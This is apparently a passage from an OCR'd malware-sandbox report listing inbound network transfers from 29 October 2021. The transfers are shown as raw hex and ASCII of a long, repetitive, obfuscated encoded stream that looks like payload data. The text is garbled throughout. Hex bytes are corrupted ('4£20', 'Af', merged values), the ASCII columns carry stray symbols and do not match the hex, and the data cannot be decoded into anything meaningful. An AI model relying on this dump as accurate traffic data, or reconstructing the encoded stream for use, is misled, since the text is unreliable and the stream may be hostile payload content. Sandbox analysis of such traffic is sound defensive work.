20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57
20 4f 20 44 4d 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57
20 4f 20 45 71 20 4f 20 58 57 20 4f 20
Data Ascii: WJ O DW O XM O qqgM O DD O qOX O DW O Eq O Xq O DW O XW O qOp O DD O mM O DW O Eq O WJ
ODW O Ep ODW O DD O DX O DW O Eq O WD O DW O MX O qOp O DD O gOM O DW O Eq O qOE O DW O MO O
qgM O DW O qOp O DW O DM O XM O DW O ME O Xq O DD O qgW O DW O Eq O XW O

2021-10-29 18:29:50 UTC 1085 IN Data Raw: 20 71 71 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 44 57 20 4f
20 45 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20
44 4d 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 45
4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 44
44,20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20
45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f
20 45 71 20 4f 20 57 44 20 4f 20 44 57
Data Ascii: qqW O DW O XW O qgM O DD O MO O DW O EO O EE O DW O XD O DW O DD O EO O DW O DM O mX
O DW O Ep O DW O DD O XD O DW O EJ O EE O DW O MO O Xg O DD O gJg O DW O DD O ggM O DW O XD O Xq
0O DD 0 gJJ ODW O Eq O XW O DW O MM O gOp O DW O qOp O DW O Eq O WD O DW
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:50 UTC 1089 IN Data Raw: 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71
20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20
45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20
44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f
2045 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57
20 4f 20 45 4a 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57
20 4f 20 45 71 20 4f 20 4d 4d 20 4f 20 44
Data Ascii: O DW O MX O ggM O DD O qqE O DW O Eq O qgM O DW O qOgq O Xq O DW O qOp O DW O EJ O Xq O
DW O ME O DW O DD O qOX O DW O DE O DW O DW O MO O gqOp O DD O ggX O DW O Eq O qgM O DW O MX O
DW O DD O ggX O DW O EJ O MM O DW O ME O Xq O DD O qgE O DW O Eq O MM O D

2021-10-29 18:29:50 UTC 1093 IN Data Raw: 4f 20 45 6d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20
44,44 20 4F 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f
20 44 44 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44
Data Ascii: O Em O DW O EO O MM O DW O ME O Xg O DD O qgE O DW O Eq O Xq O DW O MX O ggM O DD O Wq
O DW O EJOEE O DW O Ep O DW O DW O WJ O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O
DW O DW O DW O DW O DW O DW O DW O EO O DD O DD O DW O DW O DW O DW O DW O D

2021-10-29 18:29:50 UTC 1096 IN Data Raw: 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 45 4f 20
Af 20 57 44 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 45 4f 20 4f
20 45 70 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f
20 57 44 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 44 57 20 4f 20 44 4d 20
Af 20 71 4f 45 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 44 4d 2
0 4f 20 57 44 20 4f 20 44 57 20 4f
Data Ascii: ¢ O DW O Ep O DW O EE O mX O DW O DW O DW O DW O XD O qOp O DD O Xm O DW O EO O WD O
DWOXDOqOp ODDOEOODWOEOOEpODWOXWOqgMODDOEMODWODMOWDODWOXmOq
Op O DD © g0J O DW O DM O qOE O DW O Xm O qOp O DD O Eq O DW O DM O WD O DW O

2021-10-29 18:29:50 UTC 1101 IN Data Raw: 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f
58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
44 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71
71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20
71 4f 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f
20 71 4f 6d 20 4f 20 44 57 20 4f 20 45
Data Ascii: W O Eq O WJ O DW O ED O qOp O DD O gOX O DW O EJ O qOp O DW O MO O Xg O DW O DW O DW O
DX O qOp O DW O DX O DW O DW O DD O DW O EO O DW O DW O MM O qOp O DD O ggX O DW O Eq O Xq O
DW O OO O Xg O DD O gOD O DW O EJ O Xq O DW O Xm O gOp O DD O gOm O DW O E

2021-10-29 18:29:50 UTC 1105 IN Data Raw: 4a 20 4f 20 71 4f 6d 20 4f 20 71 71 44 20 4f 20 4d 58 20 4f 20 45 71 20 4f 20 57 70 20 4f 20 71 4a 4a 20 4f 20
58 4f 20 4f 20 58 70 20 4f 20 45 6d 20 4f 20 71 71 71 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 58 4a 20 4f 20 71 71 4d 20
4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 4d 4d 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 71
71 20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 6d 4d 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 71 4a 71 20 4f 20 57 70 20 4f 20
7171 44 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 45 58 20 4f
20 71 71 58 20 4f 20 4d 4f 20 4f 20 71 71 4f 20 4f 20 58 71 20 4f 20 71 71 45 20 4f 20 58 4d 20 4f 20 57 4f 20 4f 20 57 45
20 4f 20 71 71 44 20 4f 20 45 44 20 4f
Data Ascii: J O gOm O qgD O MX O Eq O Wp O gJJ O XO O Xp O Em O gqggq O gOO O EJ O XJ O qgM O EM O qOW O
WD O ggX O MM O WO O EX O ggqq O MO O XE O mM O gOm O MM O gqJq O Wp O qqD O ME O XE O EX O qJq O M
X O Wg O EX O ggX OMO O ggqO O Xg O qgE O XM O WO O WE O qqD O ED O

2021-10-29 18:29:50 UTC 1109 IN Data Raw: 20 4f 20 58 4d 20 4f 20 71 4a 71 20 4f 20 6d 4d 20 4f 20 71 4f 45 20 4f 20 45 58 20 4f 20 71 4f 44 20 4f 20 71 4f
58 20 4f 20 71 4f 45 20 4f 20 45 58 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 6d 58 20 4f 20 58 4d 20 4f 20 58 6d 20 4f 20 4d
4f 20 4f 20 71 4f 58 20 4f 20 45 45 20 4f 20 71 4a 4a 20 4f 20 71 4f 6d 20 4f 20 57 45 20 4f 20 45 70 20 4f 20 71 4f 44 20 4f
20 57 4a 20 4f 20 57 44 20 4f 20 45 44 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 6d 4d 20 4f 20 4d 4d 20 4f 20 45 4a 20 4f 20
44 44 20 4f 20 71 71 58 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 58 4a 20 4f 20 71 4f 58 20 4f 20 4d 4f 20 4f 20 44 4d 20
4f 20 57 45 20 4f 20 58 6d 20 4f 20 58 4f 20 4f 20 71 4f 70 20 4f 20 6d 58 20 4f 20 45 57 20 4f 20 44 45 20 4f 20 58 6d 20
4f2071 71 4d 20 4f 20 71 71 58
Data Ascii: O XM O qJg O mM O qOE O EX O qOD O qOX O qOE O EX O Eq O DM O mX O XM O Xm O MO O qOX O
EE O ¢qJJ O gOm O WE O Ep O qOD O WJ O WD O ED O Wg O EXO mM O MM O EJ O DD O ggX O MM O qqO O XJ
O gOX O MO O DM O WE O Xm O XO O qOp O mX O EW O DE O Xm O qqM O qgX

2021-10-29 18:29:50 UTC 1113 IN Data Raw: 4f 20 4f 20 45 71 20 4f 20 58 44 20 4f 20 71 4f 45 20 4f 20 45 45 20 4f 20 58 70 20 4f 20 58 71 20 4f 20 71 71
4d 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 58 4d 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44
58 20 4f 20 44 4d 20 4f 20 71 4a 4f 20 4f 20 71 71 44 20 4f 20 58 6d 20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 45 58 20 4f 20
6d 58 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 45 70 20 4f 20 45 4f 20 4f 20 45 6d 20 4f
20 58 6d 20 4f 20 58 71 20 4f 20 58 70 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 58 4a 20 4f 20
71 4f 58 20 4f 20 45 70 20 4f 20 45 4f 20 4f 20 45 58 20 4f 20 71 71 4a 20 4f 20 4d 4f 20 4f 20 57 4f 20 4f 20 57 70 20 4f 2C
71 71 4a 20 4f 20 4d 58 20 4f 20 71
Data Ascii: O O Eq O XD O qOE O EE O Xp O Xg O qgM O Ep O qOp O XM O DX O XD O Xg O Xq O DX O DM O qJO
0O qgD O Xm O MO O XE O EXO mX O ME O XE O qOO O qqX O Ep O EO O Em O Xm O Xq O Xp O DD O DX O MX
OWO OXJOgOXOEpOEOOEXOQgg OMOOWOOWpOqg OMXOq

2021-10-29 18:29:50 UTC 1117 IN Data Raw: 4f 20 44 44 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f
20 45 45 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 58 4d 20 4f 20 45 6d 20 4f 20 58 4d 20 4f 20 45 70 20 4f
20 4d 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 4d 58 20 4f 20 57 4a 20 4f 20 58 71 20 4f 20 71 4f 70 20 4f
20 44 4d 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f
20 58 71 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20
58 57 20 4f 20 71 4f 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 57 70 20 4f 20 45 45 20 4f 20 44 58 20 4f 20
4d 4d 20 4f 20 71 71 4d 20 4f 20 45 58
Data Ascii: O DD O DD O Xq O XW O EJODW O qqM O EEO qqM O DM O Xg O XM O Em O XM O Ep O MO O Ep O
DW O XM O MX O WJ O Xq O qOp O DM O DD O DD O DW O Xq O DX O DW O qOp O Xq O Xq O EE O DM O DW O
Eq O DW O mM O XW O qOO O Ep O DW O Xq O Wp O EE O DX O MM O gqgM O EX
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Timestamp transferred Direction Data

2021-10-29 18:29:50 UTC 1121 IN Data Raw: 57 20 4f 20 71 4f 4f 20 4f 20 71 71 71 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f
2057 70 20 4f 20 71 71 57 20 4f 20 71 4f 4d 20 4f 20 45 71 20 4f 20 45 58 20 4f 20 44 45 20 4f 20 44 45 20 4f 20 57 4a 20
4f 20 45 6d 20 4f 20 4d 4f 20 4f 20 57 45 20 4f 20 45 45 20 4f 20 57 45 20 4f 20 45 58 20 4f 20 71 71 70 20 4f 20 45 45 20
4f 20 44 57 20 4f 20 6d 58 20 4f 20 45 71 20 4f 20 44 45 20 4f 20 58 70 20 4f 20 71 71 70 20 4f 20 45 71 20 4f 20 58 70 20
4f 20 45 70 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 44 20 4f 20 44 58 20 4f
20 44 57 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 71 20 4f 20 45 70 20 4f 20 45 45 20 4f 20
58 71 20 4f 20 71 71 57 20 4f 20 71
Data Ascii: W O gOO O qgq O qOE O qOp O ggM O MX O Wp O qqW O qOM O Eg O EX O DE O DE O WJ O Em O MO
OWE OEEOWE OEXO qgp O EEODWOmXOEqgODEOXpOqgp O EqO Xp O Ep OMX O WgO DX O XqO
DM O DD O DX O DW O XW O DW O EE O Ep O Eq O Ep OEE O Xq O qqW O q

2021-10-29 18:29:50 UTC 1125 IN Data Raw: 20 4f 20 71 71 71 20 4f 20 58 4a 20 4f 20 44 58 20 4f 20 71 4f 4f 20 4f 20 57 44 20 4f 20 45 71 20 4f 20 45 6d
20 4f 20 45 6d 20 4f 20 58 44 20 4f 20 57 45 20 4f 20 44 58 20 4f 20 57 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 71
4f 42 20 4f 20 44 58 20 4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 71 4f 6d 20 4f 20 71 4f 44 20 4f 20 58 44 20 4f 20 71 4f 6d
20 4f 20 6d 58 20 4f 20 71 71 4d 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 44
20 4f 20 71 71 71 20 4f 20 57 4a 20 4f 20 45 70 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 44 58 20 4f 20 44 45 20 4f 20 44 45
20 4f 20 44 57 20 4f 20 58 45 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 45 4a 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 44
58 20 4f 20 58 44 20 4f 20 58 4a 20 4f
Data Ascii: O ggqq O XJ O DX O gOO O WD O Eq O Em O Em O XD O WE O DX O Wm O qOgq O gOm O qOJ O DX O
ggm O ME O gOm O qOD O XD O gOm O mX O qgM O Ep O DX O DW O Xq O DW O DD O qqq O WJ O Ep O DD O
MO O DX O DE O DE O DW O XE O DW O qgqM O EJ O ggM O XM O DX O XD O XJ O

2021-10-29 18:29:50 UTC 1128 IN Data Raw: 44 58 20 4f 20 6d 58 20 4f 20 4d 58 20 4f 20 71 71 57 20 4f 20 57 44 20 4f 20 6d 58 20 4f 20 4d 4f 20 4f 20 71
4171 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 4d 45 20 4f 20 45 6d 20 4f 20 44 4d 20 4f 20 71 71 58 20 4f 20 58 71 20 4f 20
45 44 20 4f 20 71 4f 4f 20 4f 20 6d 4d 20 4f 20 71 71 70 20 4f 20 4d 4d 20 4f 20 45 57 20 4f 20 71 4f 45 20 4f 20 44 4d 20
4£20 57 6d 20 4f 20 6d 45 20 4f 20 45 58 20 4f 20 4d 58 20 4f 20 6d 58 20 4f 20 57 6d 20 4f 20 6d 70 20 4f 20 71 4f 4a 20
4f 20 57 71 20 4f 20 45 4f 20 4f 20 4d 4f 20 4f 20 58 57 20 4f 20 71 4a 4a 20 4f 20 71 71 4d 20 4f 20 57 6d 20 4f 20 45 71
20 4f 20 44 58 20 4f 20 45 57 20 4f 20 45 44 20 4f 20 71 4f 4a 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 6d 70 20 4f 20 58
70 20 4f 20 58 57 20 4f 20 57 45 20 4f
Data Ascii: DX O mX O MX O qgW O WD O mX O MO O qOq O Xq O DM O ME O Em O DM O ggX O Xq O ED O qOO
O mM O ggp O MM O EW O gOE O DM O Wm O mE O EX O MX O mX O Wm O mp O gOJ O Wg O EO O MO O XW O
¢JJ O ggM O Wm O Eq O DX O EW O ED O qOJ O qOg O ED O mp O Xp O XW O WE O

2021-10-29 18:29:50 UTC 1133 IN Data Raw: 4d 45 20 4f 20 58 45 20 4f 20 71 4f 4f 20 4f 20 71 71 45 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 57 70 20 4f 20
71 71 4f 20 4F 20 45 70 20 4f 20 44 4d 20 4f 20 45 58 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 44 4d 20 4f
20 44 57 20 4f 20 57 45 20 4f 20 57 6d 20 4f 20 44 45 20 4f 20 71 71 4f 20 4f 20 45 45 20 4f 20 45 45 20 4f 20 71 4f 6d 20
4£20 57 45 20 4f 20 71 4f 58 20 4f 20 45 45 20 4f 20 57 4f 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 58 4f
20 4f 20 71 71 70 20 4f 20 71 4f 4a 20 4f 20 57 4f 20 4f 20 58 4d 20 4f 20 4d 58 20 4f 20 71 71 44 20 4f 20 71 4a 4a 20 4f
20 44 57 20 4f 20 45 58 20 4f 20 44 44 20 4f 20 71 4F 70 20 4f 20 71 4f 58 20 4f 20 71 4f 70 20 4f 20 71 4f 6d 20 4f 20 71 4f
45 20 4f 20 71 4F 70 20 4f 20 44 44
Data Ascii: ME O XE O qOO O ggE O ME O XE O Wp O qqO O Ep O DM O EX O DD O DW O gOm O DM O DW O WE
O Wm O DE O ggO O EE O EE O gOm O WE O qOX O EE O WO O DX O DW O gE O XO O qgp O qOJ O WO O XM
O MX 0 gD O qJJ O DW O EX O DD O qOp O gOX O qOp O gOm O ¢OE O qOp O DD

2021-10-29 18:29:50 UTC 1137 IN Data Raw: 45 20 4f 20 71 4f 45 20 4f 20 57 71 20 4f 20 71 71 45 20 4f 20 71 4a 4a 20 4f 20 6d 70 20 4f 20 57 44 20 4f 20
44 57 20 4f 20 71 4f 6d 20 4f 20 58 4a 20 4f 20 58 4f 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 71 4a 4a 20 4f 20 6d 70
20 4f 20 44 44 20 4f 20 44 57 20 4f 20 57 4f 20 4f 20 57 4a 20 4f 20 58 71 20 4f 20 45 6d 20 4f 20 71 71 6d 20 4f 20 45 4a
20 4f 20 58 6d 20 4f 20 4d 45 20 4f 20 45 71 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 58 4d 20
4f20 71 71 57 20 4f 20 58 71 20 4f 20 71 71 57 20 4f 20 58 4a 20 4f 20 71 71 58 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f
20 58 4f 20 4f 20 45 45 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 71 4a 71 20 4f 20 45 45 20 4f 20 44 58 20 4f 20 44 57 20
4f 20 57 4a 20 4f 20 45 45 20 4f 20 44
Data Ascii: E O gOE O Wq O qqE O qJJ O mp O WD O DW O gOm O XJ O XO O qOE O qOp O qJJ O mp O DD O DW
OWO OWJO XqOEmMOggm O EJO Xm O ME O EqO EqO XW O WJO XO O XM O qqW O Xq O qgqW O XJ O qgX
0 ¢JO O qOp O XO O EE O qOD O DW O gJq O EE O DX O DW O WJ O EE O D

2021-10-29 18:29:50 UTC 1141 IN Data Raw: 71 4f 4d 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 45 4a 20 4f 20 71 4f 58 20 4f 20 58 4a 20 4f 20 45 44 20 4f 20
45 58 20 4f 20 71 4f 4d 20 4f 20 45 57 20 4f 20 71 71 44 20 4f 20 57 44 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 71 4f 4d 20
4f20 71 71 6d 20 4f 20 71 71 71 20 4f 20 45 57 20 4f 20 71 4f 57 20 4f 20 71 71 57 20 4f 20 6d 4d 20 4f 20 71 4f 4d 20 4f
20 58 6d 20 4f 20 71 71 4d 20 4f 20 45 4d 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 57 20 4f 20 71 71
4d 20 4f 20 71 4a 71 20 4f 20 71 71 70 20 4f 20 71 71 45 20 4f 20 57 45 20 4f 20 57 4f 20 4f 20 57 44 20 4f 20 44 44 20 4f
20 58 4f 20 4f 20 44 4d 20 4f 20 71 4f 58 20 4f 20 57 57 20 4f 20 57 44 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 71 4a 4a
20 4f 20 71 4f 57 20 4f 20 58 4a 20 4f
Data Ascii: qOM O XJ O qOp O EJ O qOX O XJ O ED O EX O qOM O EW O qqb O WD O DM O ED O qOM O qgm O q
qgq O EW O gOW O qqW O mM O qOM O Xm O qqgM O EM O ED O DW O MX O qqW O qgM O gJg O qgp O qqE O WE
O WO O WD O DD O XO O DM O gOX O WW O WD O DE O ggqW O qJJ O qOW O XJ O

2021-10-29 18:29:50 UTC 1145 IN Data Raw: 20 44 45 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 58 57 20 4f 20
45 4f 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 45 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20
45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 71 20 4f 20
57 70 20 4f 20 45 45 20 4f 20 44 58 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 45 58 20 4f 20 58 71 20 4f 20 58 4d 20 4f 20
45 45 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20
71 4a 71 20 4f 20 45 45 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 45 45 20 4f 20
45 70 20 4f 20 45 45 20 4f 20 44 45 20
Data Ascii: DE O DE O qqW O Eq O DW O Xg O XW O EO O DD O qqM O EE O Ep O EE O DM O DW O Eq O DW O
mM O XW O gOO O Ep O DW O Xgq O Wp O EE O DX O MM O ggM O EX O Xq O XM O EE O EW O gqgM O XM O DD
O DD O DW O Eq O gJg O EE O Xq O DM O DE O DW O Xq O EE O Ep O EE O DE

2021-10-29 18:29:50 UTC 1149 IN Data Raw: 4f 70 20 4f 20 45 4d 20 4f 20 57 4a 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 58 44 20 4f 20 45 70 20 4f 20 44
58 20 4f 20 71 71 58 20 4f 20 45 4a 20 4f 20 71 4a 4f 20 4f 20 71 71 6d 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 4d 4f 20 4f
20 7171 45 20 4f 20 71 71 4d 20 4f 20 71 71 71 20 4f 20 58 70 20 4f 20 71 4f 4f 20 4f 20 57 45 20 4f 20 71 71 57 20 4f 20
71 71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 58 4d 20 4f 20 71 71 44 20 4f 20 71 71 4f
20 4f 20 45 4f 20 4f 20 71 4f 70 20 4f 20 58 6d 20 4f 20 71 4f 58 20 4f 20 45 57 20 4f 20 71 4f 4d 20 4f 20 45 71 20 4f 20 6d
45 20 4f 20 44 4d 20 4f 20 58 44 20 4f 20 58 70 20 4f 20 71 71 71 20 4f 20 71 4f 57 20 4f 20 71 4f 6d 20 4f 20 71 71 44 20
4f 20 71 4f 4a 20 4f 20 57 71 20 4f
Data Ascii: Op O EM O WJ O XD O qOM O XD O Ep O DX O qgX O EJ O qJO O ggm O mM O WD O MO O qqE O qgM
0 qgq O Xp O gOO O WE O qgW O qqE O MM O ED O qJJ O mE O XM O ggD O qqO O EO O qOp O Xm O qOX O EW
O qOM O Eq O mE O DM O XD O Xp O qgq O gOW O qOm O gqgD O gOJ O Wq O
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Timestamp transferred Direction Data

2021-10-29 18:29:50 UTC 1153 IN Data Raw: 4a 4a 20 4f 20 57 6d 20 4f 20 44 57 20 4f 20 6d 70 20 4f 20 58 57 20 4f 20 6d 70 20 4f 20 6d 70 20 4f 20 71 4a
4a 20 4f 20 58 45 20 4f 20 71 71 57 20 4f 20 44 44 20 4f 20 57 4f 20 4f 20 6d 4d 20 4f 20 71 4f 6d 20 4f 20 71 71 71 20 4f
20 44 4d 20 4f 20 71 71 4a 20 4f 20 4d 4d 20 4f 20 57 70 20 4f 20 45 4a 20 4f 20 71 4f 70 20 4f 20 57 57 20 4f 20 58 58 20
4f 20 71 71 6d 20 4f 20 71 4a 4f 20 4f 20 45 45 20 4f 20 71 4a 4f 20 4f 20 45 6d 20 4f 20 45 58 20 4f 20 45 45 20 4f 20 71
71 58 20 4f 20 71 4a 4a 20 4f 20 58 4a 20 4f 20 58 45 20 4f 20 58 45 20 4f 20 57 70 20 4f 20 6d 70 20 4f 20 4d 45 20 4f 20
71 4f 4f 20 4f 20 71 4f 45 20 4f 20 45 4f 20 4f 20 71 4f 57 20 4f 20 58 4d 20 4f 20 45 6d 20 4f 20 6d 70 20 4f 20 57 45 20 4f
20 58 57 20 4f 20 71 4a 71 20 4f 20
Data Ascii: JJ O Wm O DW O mp O XW O mp O mp O gqJJ O XE O qqw O DD O WO O mM O gOm O qgq O DM O qqJ
OMMO Wp OEJO gOp OWW O XX O qggm O qJO O EE O qJO O Em O EX O EE O qgX O qJJ O XJ O XE O XE O
Wp O mp O ME O qOO O qOE O EO O qOW O XM O Em O mp O WE O XW O gJgq O

2021-10-29 18:29:50 UTC 1157 IN Data Raw: 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 44 57
20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 45 45 20 4f 20 45 71 20 4f 20 44 57
20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 45 45
